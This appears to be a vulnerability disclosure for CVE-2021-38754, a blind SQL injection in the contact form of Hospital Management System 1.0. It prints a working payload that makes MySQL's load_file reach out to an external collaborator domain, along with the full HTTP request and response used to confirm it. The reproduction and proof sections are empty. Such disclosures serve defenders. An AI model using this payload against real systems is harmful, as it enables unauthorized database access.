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CVE-mitre/CVE-2021-38754/
CVE-mitre/CVE-2021-38754/

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CVE-2021-38754

Vendor

Description:

SQL Injection - type time-based blind vulnerability is in Hospital Management System 1.0 due to lack of input validation in messearch.php and contact.php. The txtEmail parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\ao2f0zoz0iu9cob52rm6nhpjpav3jy7pad20toi.nu11secur1tycollaborator.net\iyv'))+' was submitted in the txtEmail parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.

MySQL Request:

POST /Hospital-Management-System-master/contact.php HTTP/1.1
Host: 192.168.1.215
Origin: http://192.168.1.215
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.215/Hospital-Management-System-master/contact.html
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 112

txtName=579853&txtEmail=yqPiidRW@nu11secur1tycollaborator.net'%2b(select%20load_file('%5c%5c%5c%5cao2f0zoz0iu9cob52rm6nhpjpav3jy7pad20toi.nu11secur1tycollaborator.net%5c%5ciyv'))%2b'&txtPhone=732-434-44&btnSubmit=Send+Message&txtMsg=832921

MySQL Response:

HTTP/1.1 200 OK
Date: Fri, 22 Oct 2021 10:26:22 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Result:

Reproduce:

href

Proof:

href